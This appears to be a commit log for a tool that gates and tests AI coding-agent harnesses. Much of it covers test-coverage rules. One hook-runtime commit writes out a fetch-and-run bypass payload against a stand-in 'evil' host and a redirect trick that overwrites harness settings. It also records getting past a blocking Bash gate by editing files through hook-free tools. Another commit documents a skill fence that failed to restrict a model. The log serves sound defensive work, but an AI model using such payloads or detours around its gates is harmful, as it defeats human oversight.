✗ CLAUDE.md: File not found: "src/test-tier-nudge.test.ts"
Renaming that test to `.hook.test.ts` (so its `{surface}` name binds) left a
`file()` keyFile in CLAUDE.md.spec.ts pointing at a path that no longer
exists. This one is worth naming plainly: it is the cross-referencing engine —
the thing this product IS — catching its own author's stale reference, minutes
after the rename, exactly as designed.
Also indexes what the rename left undocumented: `.vigiles/hooks/docs-drift-nudge.hook.mjs`
and its test now have keyFiles, and the tier-nudge entry says WHY the file is
named `<surface>.hook.test.ts` — a hook's `{surface}` name carries `.hook`, which
is what binds it under the `include` globs in .vigilesrc.json. Without that
sentence the next rename repeats this.
HOW BOTH GOT THROUGH, since the cause is procedural rather than technical: after
adding the hook I ran targeted vitest and prettier instead of `npm run check`,
and the re-run after that was taken from a tree I was still editing — a gate on a
moving tree measures a state that never existed. Both are the `run-the-gates`
rule, failed in two different ways within twenty minutes.
Gates on a settled tree: build · types:root · types:test · types:site · jest ·
api-surface · prettier — all RC=0. `cli-lint` red with every finding inside
`.claude/worktrees/` (gitignored, CI never sees it). `generated-types:committed`
red only because the regenerated artifact was uncommitted at the time — this
commit is what makes it green.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* feat(hook): reject a tool matcher that names no real tool
`compileHookProgram` cross-references the `on:` event against the harness
catalog, so a typo'd EVENT fails the build. It did not do the same for the tool
matcher, and the existing check there validates REGEX SYNTAX only — so
`tools("Edt")` parses fine, compiles, wires a matcher `Edt`, and the hook never
fires. Same defect the event check exists to kill, on the axis it did not cover.
WHY THIS IS NOT A UNION TYPE, which is the obvious answer and the wrong one: a
tool matcher IS a regex — that is why `tools("Edit|Write")` works, and
`tools("mcp__github__.*")` is documented-correct. A literal union would reject
both. So the check reads only entries with NO regex metacharacter as literal
NAMES, which is exactly the spelling a typo produces. A fully-spelled MCP tool is
skipped inside verifyToolContract itself (dialect.mcpToolPattern), so it passes
on both counts.
Reuses verifyToolContract + authoringIssues — the same detector the subagent
tool-contract rule runs, so the hook matcher and the subagent contract cannot
drift into two vocabularies (one-detector-no-drift).
Both directions tested, and MUTATION-PROVEN with the patch grepped as landed:
disabling the throw fails exactly one test ("a typo'd tool NAME in match does NOT
compile"); restoring returns 98/98. The second test pins what must KEEP
compiling — a real name beside `mcp__github__.*` and a spelled-out MCP tool.
🔴 AND THE GATE CAUGHT A REGRESSION THE TESTS COULD NOT. `api-surface` failed
with one line — `// @public` → `// @public (undocumented)`. Inserting the
REGEX_META const put it BETWEEN `invalidToolPatterns`'s JSDoc and its
declaration, so the comment documented my constant and the real function went
bare. That is verbatim the failure `ship-a-feature` was written after
("inserted between verifyGuardrail's JSDoc and its declaration; the diff said
so, nobody read it"). Fixed by moving the comment back, NOT by regenerating —
`api:report` would have committed the degraded surface and called it green.
api:check now passes with the surface UNCHANGED, which is the correct outcome
for adding an internal const.
Gates: build RC=0 · tsc --noEmit RC=0 · api:check RC=0 (surface unchanged) ·
vitest hook-program 98 passed · prettier RC=0 · `npm run check` red only on
`cli-lint`, entirely inside `.claude/worktrees/`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(site): the landing page showed a hook that no longer compiles
The Guard section's headline sample — the first compiled hook a visitor ever
sees — opened with a symbol deleted from the vocabulary earlier today:
import { experimental_defineHook, tool, deny, allow } from "vigiles/hook";
export default experimental_defineHook({
on: "PreToolUse",
match: tool("Bash"),
`tool()` is gone. A bash gate is Bash BY CONSTRUCTION — `BashToolEvent.tool` is
the literal "Bash", the matcher is emitted for the author, and the field existed
only to be got wrong (`match: tool("Edit")` type-checked, compiled, wired an Edit
matcher, and never fired). Removing it is the fix; the site kept advertising it.
So a reader copying the landing page's own example got a build error on line 1,
and the file's header claims the snippet is REAL — "node dist/cli.js hook-runtime
run-program <this file> # via verifyGuardrail" — which makes it a claim about
executed code rather than an illustration.
🔴 WHAT THIS SAYS ABOUT THE HOOK SHIPPED TWO HOURS AGO. `docs-drift-nudge` exists
to catch exactly this: product code changed, the prose describing it did not. It
would NOT have fired here. It watches `src/**` for the trigger and treats
`docs/**`, README and CLAUDE.md.spec.ts as the docs — a `.tsx` under `site/` is
neither, so the site is invisible to it in both directions. The landing page is a
front door under `cohesive-feature-delivery`, and the nudge does not cover it.
Recorded here rather than widened in the same commit: the trigger set is a
calibration question (a `site/` edit is often styling, not a claim), and widening
a nudge on a hunch is how a nudge gets muted.
Gates: prettier --check RC=0 · `npm --prefix site run test:browser` RC=0 —
7 files, 49 tests.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat(test-coverage): deliver untested-skill as an edit-time nudge
The `untested-skill` rule was already stated correctly, but it only ran
inside `vigiles lint` — which someone has to remember to type. A rule that
fires only when invoked by hand is prose, not policy.
`skillTestNudge` reuses the SAME detector (`findUntestedSurfaces`) at the
moment a skill/agent surface is edited, and is wired into the existing
PostToolUse entry rather than adding a fourth hook or a new CLI verb.
Two things it deliberately does:
- It distinguishes "no test at all" from "has a harness but was never
EVALUATED". An edit to a SKILL.md is usually an edit to the description,
i.e. to the trigger surface, and a deterministic harness structurally
cannot tell you whether a description still fires.
- It hands off to the `test-harness` skill instead of saying "write a test".
An agent already knows it needs a test; what it does not know is with
what. A nudge that restates the obligation and withholds the vocabulary
is the failure this replaces.
This also corrects a backwards gate: the existing lock nudge is self-gating
on a committed lock, so a repo that already tests got reminded while a repo
that had never written a test heard nothing at all.
* fix(test-harness): name the observation vocabulary, and fix a broken example
Measured on the four questions that actually missed in live work (recorded in
examples/harness/dogfood/test-harness.gaps.trigger.eval.mjs), the skill fired
25% of the time — against 90% on the prompts it was authored with.
Two matched prompt sets, Russian and English, scored identically (25/25),
prompt for prompt, which rules out a language effect: the gap was conceptual.
The description enumerated SURFACES ("a hook fires or blocks", "a skill
triggers", "injected context lands") and never named the OBSERVATION
vocabulary — which tools a run called, whether it stayed inside its declared
allowed-tools, what it wrote, how to intercept a call without executing it.
Half the real questions are asked that way, and they landed on nothing.
- description: add the observation half (460 chars, within the 500 budget).
- new "Step 0.4 — Observing a run": maps each of those questions to the API
that already ships. Its absence is why an agent working in this repo
reinvented parseToolCalls, snapshotTree/diffTrees, interceptTools and the
effect-boundary tier in a single session.
- state the one real asymmetry rather than imply coverage: files have
assertWroteOnly, tools have only the black-list notTool.
- fix the deterministic-tier example, which imported `scriptModel` from
`vigiles/testing`. It is not exported there — deliberately, to keep that
entry point harness-agnostic — so the example returned undefined.
After: 100% on the field-miss set (RU and EN), recall held at 90% on the
authored set with false-positive 0% / precision 100%.
* feat(testing): onlyTools + skillContract — verify a skill against its own declaration
A SKILL.md declares its capability surface in `allowed-tools:` and nothing ever
checked that a run stayed inside it. That is this project's own thesis pointed
at its own file format: the declaration is prose until something mechanical
reads it.
The gap was a missing half of a symmetry the file surface already had:
| "not this one" | "nothing but these"
files | assertNoWrite | assertWroteOnly
tools | notTool | (nothing)
`notTool` can only forbid the calls a test author thought of, and the set of
undeclared tools is unbounded — so "it stayed inside its contract" was not
expressible.
- `onlyTools(allowed)` — the white-list check. Reports every distinct offender,
not just the first. FAILS on a trace that recorded no tool calls, mirroring
`assertWroteOnly` refusing a result that never recorded writes: an uncaptured
run is indistinguishable from a tool-free one, and passing it asserts nothing.
- `skillContract(dir)` — reads the frontmatter and hands back ready checks
(`activation`, `surface`). No new assertion machinery and no third entry
point: a contract is a bag of ordinary `Check<Trace>`s, so it composes into
both the deterministic and eval tiers unchanged.
Two states are findings rather than clean bills, and both fail instead of
passing vacuously:
- `undeclared` — no `allowed-tools:` line, so the skill inherits EVERY tool.
Reporting "no violations" would present the widest surface as the cleanest.
- `malformed` — frontmatter that isn't valid YAML. A strict loader reads no
contract, so the declared set is unknown rather than empty. Observed live
while writing this change: one unquoted `: ` inside a description silently
voided a skill's whole tool contract, and the audit correctly reclassified it
as inheriting everything.
The `Skill` activation call is exempt — it is the harness's own loading
mechanism, appears in every trace, and is never listed in `allowed-tools:`, so
counting it would fail every contract on every run.
Honest limit, stated in the skill rather than implied away: `onlyTools` compares
tool NAMES, so a narrow entry like `Bash(node x.mjs:*)` is satisfied by any
`Bash` call. Scope inside a tool stays unverified.
* docs(dogfood): record the measured numbers, and correct an overstated claim
The commit that added the observation vocabulary quoted "100% RU and EN". That
was measured on a 594-char variant which did not ship: it tripped the linter's
own 500-char description budget, so the text that shipped is the 460-char one,
which measures RU 75% / EN 100%.
The table now records all four variants, and states plainly what the data does
NOT support — at n=8 the 75/88/100 spread across the fixed variants is one to
two runs, so it does not establish that longer wins. The shipped text defers to
the budget rule rather than overriding a documented heuristic on evidence that
cannot distinguish the alternatives.
What the data does support is unchanged and large: naming the observation
vocabulary moved the field-miss set from 2/8 to 6-8/8, and the pre-fix RU and
EN sets scored identically, prompt for prompt, which rules out a language
effect and locates the gap in the concept.
* feat(coverage)!: one detector — colocation. Remove declaration and mention
BREAKING: `untested-*` coverage is now decided by placement alone. A
`vigiles:covers` declaration and a name-mention in a test's code no longer
confer coverage. Repos relying on either will see their untested counts rise.
There were three detectors and they were never three STRENGTHS of evidence —
they were three NAMING CONVENTIONS, all answering "does this surface's name
appear near a test?" and none answering "did anything run against it?".
Ranking them implied a precision that did not exist.
Measured on this repo before the change, `mention` supplied 9 of 10 covered
surfaces. Reading what credited what: three were real dedicated evals that
colocation could not see, and at least three were FALSE — `hooks/pre-edit.sh`
and `hooks/post-edit.sh` were credited by `test-coverage.test.ts`, i.e. the
coverage detector's own suite naming them as fixtures. The detector granted
coverage to hooks because it tested itself against them.
`declared` fared no better in practice. Its first real use in a consumer repo
declared a conformance LINT over 21 skills as coverage OF those 21 skills,
moving that repo 31 untested → 16 while nothing new was tested. It also needed
a guard assertion to stay honest: a mechanism watching the mechanism.
Colocation is kept because it cannot drift by construction — the test lives in
the surface's directory, so deleting the skill deletes its test, renaming moves
both, and `ls` answers the question without running anything.
Consequences, all deliberate:
- the detector no longer READS test files, only lists their paths, so coverage
can no longer be changed by editing text inside a test;
- comment-stripping, declaration parsing and evidence ranking are deleted;
- a good test living elsewhere now counts for nothing until it is moved next to
its surface. That is the intended pressure.
Honest remaining hole, now printed on every run rather than left to be
discovered: colocation says the file EXISTS, not that it RAN — an empty
`foo.eval.mjs` still counts. Closing that is a condition on this rule (a run
reporting >0 checks via the existing CHECK_COUNT channel), not a fourth kind.
Real cost: this repo goes 13 untested → 23, mine goes 31 → 36. Both numbers
are now true.
Tests: the removed tiers are pinned as INVERSIONS rather than deleted, so
re-introducing either fails the suite.
* feat(eval): containment comparison + a diagnostic for the confident zero
Both come from building a consumer's trigger suite (2026-08-11) and hitting the
same class of failure four times.
`compareContainment(weak, strong)` answers a question the model floor makes
people ask and nobody has measured: is a WEAKER model a valid lower bound? The
worst-case argument — tune against the weakest supported model, anything
stronger is covered — is valid only if everything that fires on the weak model
fires on the strong one. If it does not, the weak model is not a floor, it is a
DIFFERENT router, and tuning against it optimises a configuration nobody runs.
Selection is routing, not raw capability, so this is genuinely open.
The verdict separates the two directions on purpose: weak-only prompts are
counterexamples, strong-only prompts are the documented under-selection and NOT
a failure. Conflating them is how a real result gets read as a bug.
`formatTriggerRateReport` now names the setup causes when NOTHING fired on any
prompt. Three separate wiring mistakes each produced a confident, well-formed
0% — a bare id where the namespaced one was required, `pluginDir` where a loose
`skillsDir` was, and a missing `fixture` so every prompt asked about a file that
did not exist. Two were briefly written up as findings about the skills before
being caught. A zero that looks exactly like a result is worth a sentence about
why it usually is not one.
Deliberately only on a TOTAL zero: a partial rate is a real measurement and is
left alone, because a checker that second-guesses good data gets ignored and
then is not there for the case it exists for.
* docs(test-harness): document containment + the confident-zero trap
Answers "did you update the docs and the plugin?" — no, and both needed it.
docs/harness-testing.md gains two subsections under trigger-rate: the total-zero
triage (three setup causes, in the order they bite) and the containment
comparison, with the two directions kept apart — weak-only prompts are
counterexamples, strong-only ones are the expected under-selection the sonnet
floor exists for.
skills/test-harness/SKILL.md gains a row for `compareContainment` and, above the
tier table where an author will actually hit it, the rule that a 0% on EVERY
prompt is a wiring bug until proven otherwise. That is the failure this skill's
reader is most likely to mis-report, because it is well-formed and reads like a
verdict on the description.
`compareContainment` now states its own honest limit: it is harness-agnostic and
will run on Codex reports unchanged, and should not be trusted there yet. Codex
emits no skill-selection event, so `fired` is inferred and the tier is flagged
experimental — and that inference error lands exactly where this function looks,
manufacturing weak-only entries out of noise. A containment verdict is only as
strong as its weakest input signal.
Description budget and frontmatter still lint clean.
* trigger-containment: record the measured verdict — containment does not hold
21 skills x 4 prompts, one trial each, whole-harness against 37 competing
skills, haiku vs sonnet: 3 of 84 shared prompts fired on the weak model and
not the strong one, and one skill scored haiku 1.00 against sonnet 0.75.
The module header claimed nobody had measured it; that is no longer true.
Stated as 'containment is not established' rather than 'it breaks often' —
at one trial per prompt three breaks could be dispersion, and rejecting the
worst-case argument only needs the implication to be unproven.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): a skill naming a sibling skill that does not exist
danglingRefs matches PATHS in EXECUTABLE sources and skips prose by design,
so a skill referring to another BY NAME — the reference agents actually
follow — was checked by nothing. A rename breaks every mention silently:
nothing crashes, the model reads a route to a skill that is not there and
does something adjacent.
NEAR-MISS, not a name check, for precision. Flagging every backticked kebab
token would fire on node-fetch, pull-request, claude-code — and a checker
that fires on clean input is muted within a day. So it asks the narrower
question: is this token almost a skill that exists? Measured on a 38-skill
corpus: 0 findings clean, 1 finding with a single character removed from
one reference, naming the intended target.
Folds into the existing broken-reference deduction — no new verb, no new
category. The report field is optional because absence is not a claim.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(testing): commandsIn + mustInclude/mustNotInclude — a document's rule about its own commands
A skill or runbook states a rule in prose and ships commands that must obey
it: 'always pass curl -g, or bracketed params glob and the request fails
SILENTLY'. Rule and violation sit in the same file three paragraphs apart
and nothing compares them — prose isn't policy, at its smallest, aimed at
the author's own document.
vigiles cannot INFER such a rule; what was missing is a cheap way to DECLARE
it. Measured on a real skill 2026-08-11: expressing one rule took ~95 lines
of hand-rolled markdown parsing around ~5 lines of actual rule, and at that
price the check does not get written. With this, the test IS the rule.
Two decisions that keep it honest: extraction is fenced-blocks-only, so the
prose STATING the rule is not read as a violation of it; and an empty match
FAILS rather than passing vacuously, because a rule that held over zero
commands reads exactly like one that held over twenty.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* docs(doc-commands): the prior-art survey, including what is NOT novel here
Four quadrants, and this sits in the empty one: extraction (codedown),
extraction+universal linter (markdown-shellcheck), execution (mdsh, doctests),
matchers (vitest/jest). The nearest neighbour applies a UNIVERSAL correctness
checker; this applies the rule the document states about itself, which no
general linter can know and no doctest can express.
The extraction half is NOT novel and now says so, with the reason it is
reimplemented anyway (30 dependency-free lines vs vendoring an awk script)
and the composition worth stealing: hand the structured commands to a real
shellcheck when one is installed.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(lethal-trifecta): a skill's fence is `disallowed-tools`, not `allowed-tools`
A skill's `allowed-tools:` is a PRE-APPROVAL, not a restriction. Claude Code's
docs say so outright, under "Pre-approve tools for a skill":
"The `allowed-tools` field grants permission for the listed tools during the
turn that invokes the skill... It does not restrict which tools are available:
every tool remains callable... To remove tools from Claude's available pool
while a skill is active, list them in `disallowed-tools`."
Two bug reports say the same from the field, both closed as not-planned:
anthropics/claude-code#18837 (Jan 2026) and #37683 (Mar 2026) — the second
reproduced INTERACTIVELY, on a live model, on a different CLI version, with the
skill spawning an `Explore` subagent it had told itself never to use. Reproduced
locally under `claude -p` (CLI 2.1.227): a skill declaring
`allowed-tools: WebSearch, WebFetch` read a private file and wrote a new one.
`disallowed-tools` was then measured across 9 runs and DOES restrict. Cleanest
control, one run: the same `Read` succeeds BEFORE the skill activates and is
denied after — "Permission to use Read has been denied." — and through a `Task`
subagent in the same run, "Error: No such tool available: Read. Read is disabled
for this session, in subagents as well as here." Positive controls first (without
the line, `Read` succeeds); refutations failed (a `bogus-tools:` key blocks
nothing; an unactivated skill's fence does not apply).
So the check was reading a field that bounds nothing. It UNDERSTATED risk — "18 of
38 units hold the trifecta" on a corpus where all 38 did — and it CREDITED a narrow
`allowed-tools` with a reduction that does not exist. That is this project's own
thesis, a declaration present is not a rule enforced, violated by this project.
Dogfood, before and after, on this repo: Safety 100 -> 70. All four skills here
declare narrow `allowed-tools` with no web tool, so the old reading called the
whole surface clean.
The SHAPE changed too, not only the arithmetic. Counting every unfenced skill as
its own finding fires on ~100% of every real harness, and a check that fires on the
ecosystem default is muted within a day — taking the hard findings with it. So:
- `fence: "none"` (no `disallowed-tools:` line) is ONE aggregate line plus the
skill names, in the report, the Safety ring, and `lint` (where it also stops
emitting one GitHub annotation per SKILL.md). It is one fact about the harness,
not N facts about N skills.
- `fence: "ineffective"` (a fence that closes no leg) keeps its own line: rare,
per-skill, and a real mistake — same shape as disallowed-tools-contract's
"this entry blocks nothing".
Presentation differs; SEVERITY AND GRADE DO NOT. Both are "advisory" and both count
once toward `trifectaExposure`, so collapsing the presentation never shrinks the
penalty, and an ineffective fence (capability <= no fence) can never grade worse
than no fence — the non-monotonicity this rule was already fixed for once.
A leg is closed only when every built-in that supplies it is denied. That supplier
catalog is deliberately WIDER than the allow-side one: on the allow side a missing
tool under-states risk (safe), on the deny side it would over-state safety. Filtered
against the dialect's own catalog so a Claude Code author is never told to deny
Codex's `shell`. Stated limit, in the rule doc: a session-provided MCP server can
re-supply a closed leg, so "closed" means closed among the built-ins.
SUBAGENTS ARE UNCHANGED. A subagent's `tools:` is a documented rail that really
does bound the unit; `lethalTrifectaIssues` and every agent path are untouched.
Tests pin the point directly: a skill with `allowed-tools: Read, Grep` and one
declaring the entire catalog produce byte-identical findings, and a narrow list
still yields a finding — that test fails if anyone reintroduces the old reading.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore(api): record commandsIn/mustInclude/mustNotInclude in the testing surface
api:check has been red since 28ec597 — the new doc-command helpers were
exported without regenerating api-surface/. The diff is exactly the four
intended additions (commandsIn, DocCommand, mustInclude, mustNotInclude)
and nothing else.
* fix(scan-files): skillRefIssues was added to one report builder, not both
scanPlugin (disk) and scanFiles (in-memory, browser-safe) build the
AuditReport separately, and 226dee9 added skillRefIssues to the first
only. The byte-parity test caught it on all four plugin fixtures — which
is the one thing holding the two builders together.
skill-refs.ts has zero imports of its own, so the browser engine's graph
is unchanged.
* fix(coverage): a colocated test must be NAMED after the surface and SIT BESIDE it
One rule for all three kinds. A skill was exempt from both halves in turn, and
the exemption came from two different accidents.
DEFECT 1 — colocation credited a DIRECTORY, not a test.
`isColocated` required a name-prefixed basename for agents and hooks and, for a
skill, accepted ANY file under the skill's directory. Those are different
claims: the second answers "is there a test NEAR this skill?", not "is there a
test FOR it". It is the substitution the removed `mention` tier made — a name
near a test taken for a test — reached by a different route, and it arrived
WITH the simplification rather than surviving it.
Observed live: a consumer repo's `.claude/skills/paper-pipeline/` holds six
`*.eval.mjs`, exactly one about `paper-pipeline`; the rest measure other skills
and sit there because that directory was the pipeline's home before tests moved
next to their subjects. One is literally `grade-paper-writing-ablation.eval.mjs`
— named after a different skill in the same install. The orchestrator scored as
covered and had no test of its own until someone wrote one by hand.
Measured on a fixture reproducing that shape (two skills, one foreign-named
eval): before, `✓ all 2 surface(s) have a test or eval`; after, the orchestrator
is flagged and the finding names the exact path to add.
DEFECT 2 — a subdirectory counted as beside.
Removing that allowance was measured, not assumed. Across two real repos exactly
ONE nested test file exists: `verify-citations/scripts/verify-cites.test.mjs`,
a unit test for a script the skill BUNDLES, pinning that script's pure reducer.
It is a good test of a script and not a test of a skill — the distinction this
whole rule turns on — and the skill carries its own two colocated files anyway.
So the allowance credited nothing anyone wanted, while costing the single
property that makes colocation worth having over a parallel test tree: `ls`
answers "is this tested?". With a subdirectory permitted, it takes `find`, and
two permitted shapes become a choice at write time and a lookup at read time.
BREAKING for a repo whose colocated test is named otherwise or kept one level
down. Renaming or moving the file is the whole migration, and the finding prints
the path to use.
Also: a single-skill target now takes its identity from the declared `name:`
rather than the checkout directory's basename. Under the old rule that name was
never read; under the new one, deriving identity from the path would ask an
author to name their test after their CI workspace.
DEFECT 3 — removing `vigiles:covers` would have migrated in silence.
Up to 15.0.2 the untested finding told the reader to "mark what it covers with
`vigiles:covers <surface>`". That tier is gone. Someone who followed the
instruction gets no error on upgrade: the marker becomes an ordinary comment,
coverage drops, the untested count rises, and nothing says why.
`UntestedReport.legacyCoversFiles` (optional, so an older report still parses)
carries the test files still holding it, and the report prints one line naming
them and what changed. It is printed in BOTH branches — a repo can lose the tier
and still be at zero untested, and would otherwise never hear about it. Reading
those files does not feed coverage; nothing inside a test can change it now.
docs/rules/untested-skill.md described the old asymmetry as current behaviour and
now states the single rule, with the two file names and what each buys.
Tests: both halves for each behaviour — fires on the planted defect, quiet on the
obeyed form — including the real bundled-script case. Mutations, each failing on
its own assertion: dropping the name check (restores defect 1, and also reddens
the two pre-existing agent/hook tests), suppressing the migration note, and
taking the root-skill identity from the path. Full suite 2573 passed; the single
failure (`a blocking Stop hook forces the agent to keep working`) reproduces on
the branch base and is this environment's broken TLS, not this change.
* fix(hook-runtime): a broken load path wedged the repo with no way back
Observed live 2026-08-10, not reasoned about. `git merge` left conflict
markers in `package.json`. Node then refuses to read that package config,
so the bare specifier `vigiles/hook` no longer resolves, so NO compiled
hook loads, so the PreToolUse Bash gate refused EVERY command --
including `git merge --abort`, the only command that undoes the cause.
Unreachable from inside the session; it was fixed by hand-editing the
JSON, because file tools do not go through PreToolUse(Bash).
Reproduced end to end before touching anything (src/hook-load-wedge.test.ts):
a fixture project, a compiled hook importing `vigiles/hook`, the real
`hook-runtime run-program`. Healthy: `git push --force` exit 2,
`git merge --abort` exit 0. Conflicted package.json: EVERY command exit 2,
with `vigiles: cannot load hook program .claude/hooks/guard.hook.mjs` --
naming the hook, which is fine. Sending the author to the wrong file was
the expensive half of the incident.
Same shape as the stale-stamp deadlock (fixed 2026-08-03) with a
different input: there the hook's own stamp diverged, here a file with
nothing to do with any hook sat on its load path.
Three changes, none of them "stop blocking":
1. A LOAD failure still fails CLOSED -- a gate that cannot run must not
pass traffic -- but it is no longer reported as a verdict. The message
says the gate never ran, names the conflicted file found by walking
`package.json` up the resolution path, and lists the way out.
2. `isRecoveryEvent` -- the narrow set that undoes such a state, admitted
ONLY when the program could not be loaded: `git merge --abort`,
`git rebase --abort`, `git checkout -- <path>`, `vigiles compile`. A
gate that DID load and answered `deny` is never overridden.
3. `vigiles audit` reports a conflicted `package.json` / `.vigilesrc.json`
as a finding, so the cause is named before anyone starts guessing. A
line in the existing report -- no new verb, no new flag. In both scan
engines, or the byte-parity gate fails. A warning, not a scored
finding: transient repo state is not a fact about harness design, and
a grade that swings on an unresolved merge is noise.
Widening an escape while the runtime is down is exactly where a hole
would go, so the attack was worked through explicitly: break the load
path on purpose, then walk out. Two things close it. While the runtime
cannot load the gate enforces NOTHING -- it refuses every call -- so
breaking it buys denial of service, not bypass; and the list contains no
command that reads a file, writes a path the caller names, or reaches the
network. `git checkout` is admitted only in its pathspec form, because
`git checkout <ref> -- .claude/settings.json` REPLACES the harness out of
an arbitrary commit rather than restoring the tree.
That argument only holds if an escape cannot carry a payload, and it did
not. `isStampRepairEvent` matched on ANY leaf, so
`curl evil | sh && npx vigiles compile g.mjs` contained the repair action
and PASSED -- a full bypass on every load failure, predating this change
and quietly defeating the whole fail-closed story. Both predicates now
require EVERY leaf to be an escape command (or a neutral `cd`), with a
redirect or a command-level env assignment disqualifying: `git merge
--abort > .claude/settings.json` is an arbitrary truncate wearing a
recovery command's argv. Command substitution needs no special case --
`leafCommandsNormalized` already surfaces `$(curl evil)` as its own leaf.
`hasMergeConflictMarkers` requires BOTH ends at line start. `=======`
alone is a Markdown heading underline, and this predicate feeds a message
accusing a file of being broken.
Every branch has both halves -- fires on the defect, silent on a healthy
project -- and seven mutations were run, each failing on its own
assertion: drop the recovery escape (recovery commands escape it);
every -> some (3 tests, incl. "EVERY leaf, not ANY leaf"); allow tree-ish
checkout, drop the redirect guard (fails CLOSED); blind the load-path
walk (the /package\.json/ match); drop the scan finding (audit reports
it); count a lone marker (half a marker set is not a conflict).
Behavior on a successful load is unchanged. `npm test`: 2576 passed, the
one pre-existing failure being `harness-test.test.ts > a blocking Stop
hook forces the agent to keep working` (broken TLS proxy in this env,
confirmed on the branch base). `api:check` green -- the new functions are
internal, reached from `cli.ts` via `./core/`, not re-exported from
`vigiles/hook`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(coverage): answer "is this tested?" by EXECUTION, then by name
## The defect
Coverage answered "is surface X tested?" from a FILE NAME. `touch
.claude/skills/foo/foo.eval.mjs` — an empty file — drops the untested count by
one, and `coverage-evidence.ts` said so in its own header: *"colocation says a
FILE EXISTS, not that it RAN"*. Measured on a real repo, `paper-pipeline/` held
six `*.eval.mjs` of which exactly one was about that skill; the orchestrator
scored as covered with no test of its own (vigiles/s54.md, defects №10 and №17).
Nobody else answers this question that way. `go test -cover`, coverage.py, nyc
and tarpaulin all answer from EXECUTION and use the name only to FIND the file
to run. A skill cannot be run without a model, so the name survives — but as a
fallback, not as the answer.
## The design
Order of answers is **execution → name → nothing**, and the report says which
one it used ("MEASURED BY A RUN" vs "the file EXISTS, not that it ran").
Attribution is DERIVED by the machinery, never declared by an author — a
`surface:` field would be `vigiles:covers` with extra steps, and that tier was
removed for exactly this reason. Each tier reports what it already knew it was
pointed at:
runScript / runHook → the COMMAND LINE it executed (plus `opts.env`,
because `runHook('"$GUARD"', …, {env}) `is the
documented idiom)
runHarnessTest / eval / → the TRANSCRIPT: the Skill call that RESOLVED.
measureTriggerRate Not the install set — a trigger-rate run installs
competitors on purpose, and crediting the set
would credit a skill for LOSING selection.
The channel is the existing CHECK_COUNT scratch file. A run with nothing to
attribute writes the bare number it always wrote, byte for byte; only a run with
something to say writes JSON. Both are readable, so an older runner meeting the
new form reads "no report" — the legacy branch, a plain pass, never a wrong
verdict.
`vigiles test` / `vigiles eval` resolve the probes against discovered surfaces
(unresolvable ⇒ dropped, never guessed) and merge them into `.vigiles/coverage.json`
alongside the existing flight-recorder ledger. No new verb, no new flag.
## What deliberately does NOT count
- A run against OLDER text. Each record stamps the surface's content hash at run
time; edit the surface and it becomes "measured, but not this version",
reported on its own line and granting no coverage. Silently counting it is the
PIPELINE-STATUS disease — a tick against a document rewritten afterwards.
- A FAILED script. It exercised the surface but established nothing.
- A harness run, for the eval tier. Free deterministic runs cannot answer "does
this fire?", so that gap stays open until a model runs.
- Anything at all with no artifact: a fresh clone, CI and third-party repos
behave exactly as before — verified on a real 38-surface corpus, 12/14 before
and after, same provenance line.
## Proof
12 mutations, each killing one load-bearing line, each dying on its OWN
assertion (control green at 108):
execution outranks colocation · a stale run must not count · the eval tier is
not answered by a harness run · stale notice only when nothing fresh · a
command probe never resolves to a skill · a harness run must not erase an eval
record · a failed script contributes nothing · an errored Skill call
attributes nothing · the env is scanned · silence stays the bare number · a
bare number is still readable · runScript attributes what it executes
End-to-end on a throwaway plugin: untested → `vigiles test` → "1 MEASURED BY A
RUN" → edit the hook → "run record from BEFORE their current text" → re-run →
measured again. A red harness records nothing.
`npm test`: 2612 passed, 1 pre-existing failure (harness-test.test.ts blocking
Stop hook — broken TLS proxy in this environment). `api:check`: no drift.
The browser twin has no filesystem and therefore structurally no run records;
that is stated in `test-coverage-files.ts` rather than left to be inferred, and
`countEvidence` reports `executed: 0` there so the byte-parity gate holds with
no special case.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage)!: TypeScript is first-class, the paid tier is an INFIX, and the one name a foreign runner claims is gone
Three changes that only make sense together; any two without the third leaves a
money hazard open.
1. THE PAID TIER IS `.eval.`, NOT `.eval.mjs`.
The split was `path.endsWith(".eval.mjs")`. The moment TypeScript is accepted,
`foo.eval.ts` falls into the `harness` branch — a file that spends real model
calls, classified as the FREE deterministic tier and run on every push, in CI.
Accepting TS without fixing this first is worse than not accepting it, so this
lands first in the same commit.
2. `*.harness.{ts,mts,cts,js,mjs,cjs}` AND `*.eval.{…}`.
`.harness.ts` matched nothing at all, so a TypeScript project got no credit for
a test it had written. `.mts`/`.cts` are real (TS 4.7+) and Node 22 runs all
three directly — type stripping, no toolchain. Measured, not assumed.
3. `*.test.*` IS NO LONGER A VIGILES TEST.
Six entries used to match the default patterns of vitest and jest EXACTLY, read
out of the installed packages rather than from memory:
vitest **/*.{test,spec}.?(c|m)[jt]s?(x)
jest **/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) ← everything in that directory
vigiles never RAN those files, but crediting them made the name reasonable — so
an author writes `skills/foo/foo.test.mjs`, and `npx vitest` runs it. A skill
test calls runHarnessTest/measureTriggerRate: it spawns a model. The accident is
a silent bill, on every push. Measured in a spike: a bare project with that file
and a plain `npx vitest run` executed it, so "it lives under a dot-directory, so
nothing else will find it" is false.
With those gone the guarantee is one sentence: NOTHING VIGILES RECOGNISES IS
MATCHED BY A DEFAULT VITEST OR JEST RUN.
